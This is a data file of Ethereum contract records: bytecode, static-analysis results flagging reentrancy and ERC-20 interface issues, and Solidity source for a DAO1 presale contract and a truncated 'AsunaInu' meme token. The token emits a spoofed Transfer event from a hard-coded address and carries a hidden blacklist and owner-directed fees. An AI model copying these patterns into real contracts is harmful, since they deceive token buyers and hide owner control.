fffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661072057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107c3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6107d88160055461099c90919063ffffffff16565b60058190555061082f816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461099c90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561097b5780601f106109505761010080835404028352916020019161097b565b820191906000526020600020905b81548152906001019060200180831161095e57829003601f168201915b5050505050905090565b6000610992338484610a24565b6001905092915050565b600080828401905083811015610a1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180610d026025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180610cdf6023913960400191505060405180910390fd5b610b81816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c5b90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c14816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461099c90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600082821115610cd3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b81830390509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f2061646472657373a265627a7a72315820faaed01f6b0b2a966e163e388d364890ec3426374412483acf5f9355c58ac4db64736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 8,209 |
0xeb4764a019f21f3b57cf07291c91baf89956174d
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal virtual view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal virtual view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// import ierc20 & safemath & non-standard
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface INonStandardERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! transfer does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
function transfer(address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! transferFrom does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
function transferFrom(
address src,
address dst,
uint256 amount
) external;
function approve(address spender, uint256 amount)
external
returns (bool success);
function allowance(address owner, address spender)
external
view
returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
}
contract DAO1PublicSale is Ownable {
using SafeMath for uint256;
event ClaimableAmount(address _user, uint256 _claimableAmount);
// address public owner;
uint256 public rate;
uint256 public allowedUserBalance;
bool public presaleOver;
IERC20 public usdt;
mapping(address => uint256) public claimable;
uint256 public hardcap;
constructor(uint256 _rate, address _usdt, uint256 _hardcap, uint256 _allowedUserBalance) {
rate = _rate;
usdt = IERC20(_usdt);
presaleOver = true;
// owner = msg.sender;
hardcap = _hardcap;
allowedUserBalance = _allowedUserBalance;
}
modifier isPresaleOver() {
require(presaleOver == true, "The presale is not over");
_;
}
function changeHardCap(uint256 _hardcap) onlyOwner public {
hardcap = _hardcap;
}
function changeAllowedUserBalance(uint256 _allowedUserBalance) onlyOwner public {
allowedUserBalance = _allowedUserBalance;
}
function endPresale() external onlyOwner returns (bool) {
presaleOver = true;
return presaleOver;
}
function startPresale() external onlyOwner returns (bool) {
presaleOver = false;
return presaleOver;
}
function buyTokenWithUSDT(uint256 _amount) external {
// user enter amount of ether which is then transfered into the smart contract and tokens to be given is saved in the mapping
require(presaleOver == false, "presale is over you cannot buy now");
uint256 tokensPurchased = _amount.mul(rate);
uint256 userUpdatedBalance = claimable[msg.sender].add(tokensPurchased);
require( _amount.add(usdt.balanceOf(address(this))) <= hardcap, "Hardcap for the tokens reached");
// for USDT
require(userUpdatedBalance.div(rate) <= allowedUserBalance, "Exceeded allowed user balance");
// usdt.transferFrom(msg.sender, address(this), _amount);
doTransferIn(address(usdt), msg.sender, _amount);
claimable[msg.sender] = userUpdatedBalance;
emit ClaimableAmount(msg.sender, tokensPurchased);
}
// function claim() external isPresaleOver {
// // it checks for user msg.sender claimable amount and transfer them to msg.sender
// require(claimable[msg.sender] > 0, "NO tokens left to be claim");
// usdc.transfer(msg.sender, claimable[msg.sender]);
// claimable[msg.sender] = 0;
// }
function doTransferIn(
address tokenAddress,
address from,
uint256 amount
) internal returns (uint256) {
INonStandardERC20 _token = INonStandardERC20(tokenAddress);
uint256 balanceBefore = INonStandardERC20(tokenAddress).balanceOf(address(this));
_token.transferFrom(from, address(this), amount);
bool success;
assembly {
switch returndatasize()
case 0 {
// This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 {
// This is a compliant ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set success = returndata of external call
}
default {
// This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "TOKEN_TRANSFER_IN_FAILED");
// Calculate the amount that was actually transferred
uint256 balanceAfter = INonStandardERC20(tokenAddress).balanceOf(address(this));
require(balanceAfter >= balanceBefore, "TOKEN_TRANSFER_IN_OVERFLOW");
return balanceAfter.sub(balanceBefore); // underflow already checked above, just subtract
}
function doTransferOut(
address tokenAddress,
address to,
uint256 amount
) internal {
INonStandardERC20 _token = INonStandardERC20(tokenAddress);
_token.transfer(to, amount);
bool success;
assembly {
switch returndatasize()
case 0 {
// This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 {
// This is a complaint ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set success = returndata of external call
}
default {
// This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "TOKEN_TRANSFER_OUT_FAILED");
}
function fundsWithdrawal(uint256 _value) external onlyOwner isPresaleOver {
// claimable[owner] = claimable[owner].sub(_value);
// usdt.transfer(_msgSender(), _value);
doTransferOut(address(usdt), _msgSender(), _value);
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063bcd2f64a11610066578063bcd2f64a14610240578063c8d8b6fa1461025c578063e3b8686514610278578063f2fde38b14610294576100f5565b8063715018a6146101dc5780638da5cb5b146101e6578063a43be57b14610204578063b071cbe614610222576100f5565b80632f48ab7d116100d35780632f48ab7d14610152578063402914f5146101705780634738a883146101a057806359ccecc9146101be576100f5565b806304c98b2b146100fa57806324f32f82146101185780632c4e722e14610134575b600080fd5b6101026102b0565b60405161010f91906116c2565b60405180910390f35b610132600480360381019061012d919061128e565b610377565b005b61013c610416565b604051610149919061185a565b60405180910390f35b61015a61041c565b60405161016791906116dd565b60405180910390f35b61018a60048036038101906101859190611265565b610442565b604051610197919061185a565b60405180910390f35b6101a861045a565b6040516101b591906116c2565b60405180910390f35b6101c661046d565b6040516101d3919061185a565b60405180910390f35b6101e4610473565b005b6101ee6105c6565b6040516101fb9190611647565b60405180910390f35b61020c6105ef565b60405161021991906116c2565b60405180910390f35b61022a6106b6565b604051610237919061185a565b60405180910390f35b61025a6004803603810190610255919061128e565b6106bc565b005b6102766004803603810190610271919061128e565b61098b565b005b610292600480360381019061028d919061128e565b610aad565b005b6102ae60048036038101906102a99190611265565b610b4c565b005b60006102ba610d0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610347576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161033e9061181a565b60405180910390fd5b6000600360006101000a81548160ff021916908315150217905550600360009054906101000a900460ff16905090565b61037f610d0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461040c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104039061181a565b60405180910390fd5b8060058190555050565b60015481565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b600360009054906101000a900460ff1681565b60025481565b61047b610d0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ff9061181a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006105f9610d0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610686576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067d9061181a565b60405180910390fd5b6001600360006101000a81548160ff021916908315150217905550600360009054906101000a900460ff16905090565b60055481565b60001515600360009054906101000a900460ff16151514610712576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107099061175a565b60405180910390fd5b600061072960015483610d1690919063ffffffff16565b9050600061077f82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d9190919063ffffffff16565b9050600554610841600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016107e29190611647565b60206040518083038186803b1580156107fa57600080fd5b505afa15801561080e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083291906112b7565b85610d9190919063ffffffff16565b1115610882576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108799061183a565b60405180910390fd5b60025461089a60015483610de390919063ffffffff16565b11156108db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d2906117da565b60405180910390fd5b610908600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff163385610e2d565b5080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f62871c7b30027ac68155027c44a377be338ed75154b830a8b7fb419e2cb9a453338360405161097e929190611699565b60405180910390a1505050565b610993610d0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a179061181a565b60405180910390fd5b60011515600360009054906101000a900460ff16151514610a76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6d9061173a565b60405180910390fd5b610aaa600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610aa4610d0e565b8361108e565b50565b610ab5610d0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b399061181a565b60405180910390fd5b8060028190555050565b610b54610d0e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd89061181a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c48906117ba565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080831415610d295760009050610d8b565b60008284610d379190611918565b9050828482610d4691906118e7565b14610d86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7d906117fa565b60405180910390fd5b809150505b92915050565b6000808284610da09190611891565b905083811015610dd9577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b6000610e2583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611176565b905092915050565b60008084905060008573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610e6e9190611647565b60206040518083038186803b158015610e8657600080fd5b505afa158015610e9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebe91906112b7565b90508173ffffffffffffffffffffffffffffffffffffffff166323b872dd8630876040518463ffffffff1660e01b8152600401610efd93929190611662565b600060405180830381600087803b158015610f1757600080fd5b505af1158015610f2b573d6000803e3d6000fd5b5050505060003d60008114610f475760208114610f5157600080fd5b6000199150610f5d565b60206000803e60005191505b5080610f9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f959061171a565b60405180910390fd5b60008773ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610fd99190611647565b60206040518083038186803b158015610ff157600080fd5b505afa158015611005573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102991906112b7565b90508281101561106e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110659061177a565b60405180910390fd5b61108183826111d990919063ffffffff16565b9450505050509392505050565b60008390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b81526004016110ce929190611699565b600060405180830381600087803b1580156110e857600080fd5b505af11580156110fc573d6000803e3d6000fd5b5050505060003d60008114611118576020811461112257600080fd5b600019915061112e565b60206000803e60005191505b508061116f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111669061179a565b60405180910390fd5b5050505050565b600080831182906111bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b491906116f8565b60405180910390fd5b50600083856111cc91906118e7565b9050809150509392505050565b600082821115611212577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b818361121e9190611972565b905092915050565b60008135905061123581611ab4565b92915050565b60008135905061124a81611acb565b92915050565b60008151905061125f81611acb565b92915050565b60006020828403121561127757600080fd5b600061128584828501611226565b91505092915050565b6000602082840312156112a057600080fd5b60006112ae8482850161123b565b91505092915050565b6000602082840312156112c957600080fd5b60006112d784828501611250565b91505092915050565b6112e9816119a6565b82525050565b6112f8816119b8565b82525050565b611307816119ee565b82525050565b600061131882611875565b6113228185611880565b9350611332818560208601611a12565b61133b81611aa3565b840191505092915050565b6000611353601883611880565b91507f544f4b454e5f5452414e534645525f494e5f4641494c454400000000000000006000830152602082019050919050565b6000611393601783611880565b91507f5468652070726573616c65206973206e6f74206f7665720000000000000000006000830152602082019050919050565b60006113d3602283611880565b91507f70726573616c65206973206f76657220796f752063616e6e6f7420627579206e60008301527f6f770000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611439601a83611880565b91507f544f4b454e5f5452414e534645525f494e5f4f564552464c4f570000000000006000830152602082019050919050565b6000611479601983611880565b91507f544f4b454e5f5452414e534645525f4f55545f4641494c4544000000000000006000830152602082019050919050565b60006114b9602683611880565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061151f601d83611880565b91507f457863656564656420616c6c6f77656420757365722062616c616e63650000006000830152602082019050919050565b600061155f602183611880565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115c5602083611880565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611605601e83611880565b91507f4861726463617020666f722074686520746f6b656e73207265616368656400006000830152602082019050919050565b611641816119e4565b82525050565b600060208201905061165c60008301846112e0565b92915050565b600060608201905061167760008301866112e0565b61168460208301856112e0565b6116916040830184611638565b949350505050565b60006040820190506116ae60008301856112e0565b6116bb6020830184611638565b9392505050565b60006020820190506116d760008301846112ef565b92915050565b60006020820190506116f260008301846112fe565b92915050565b60006020820190508181036000830152611712818461130d565b905092915050565b6000602082019050818103600083015261173381611346565b9050919050565b6000602082019050818103600083015261175381611386565b9050919050565b60006020820190508181036000830152611773816113c6565b9050919050565b600060208201905081810360008301526117938161142c565b9050919050565b600060208201905081810360008301526117b38161146c565b9050919050565b600060208201905081810360008301526117d3816114ac565b9050919050565b600060208201905081810360008301526117f381611512565b9050919050565b6000602082019050818103600083015261181381611552565b9050919050565b60006020820190508181036000830152611833816115b8565b9050919050565b60006020820190508181036000830152611853816115f8565b9050919050565b600060208201905061186f6000830184611638565b92915050565b600081519050919050565b600082825260208201905092915050565b600061189c826119e4565b91506118a7836119e4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118dc576118db611a45565b5b828201905092915050565b60006118f2826119e4565b91506118fd836119e4565b92508261190d5761190c611a74565b5b828204905092915050565b6000611923826119e4565b915061192e836119e4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561196757611966611a45565b5b828202905092915050565b600061197d826119e4565b9150611988836119e4565b92508282101561199b5761199a611a45565b5b828203905092915050565b60006119b1826119c4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006119f982611a00565b9050919050565b6000611a0b826119c4565b9050919050565b60005b83811015611a30578082015181840152602081019050611a15565b83811115611a3f576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b611abd816119a6565b8114611ac857600080fd5b50565b611ad4816119e4565b8114611adf57600080fd5b5056fea26469706673582212205b5663f3b95bbe7549f14fd6d8699911852ac23cf4407ee3a94ed3e13ce1951f64736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 8,210 |
0x13710b32012ad789367888e0e219368e50713a10
|
/**
*Submitted for verification at Etherscan.io on 2021-10-12
*/
/*
Telegram: t.me/AsunaInu
*/
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AsunaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "AsunaInu";
string private constant _symbol = "Asuna";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0x929242B1Eb71b05Ce9319fa902983Dce3c0383E1), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 1;
_teamFee = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 2;
_teamFee = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
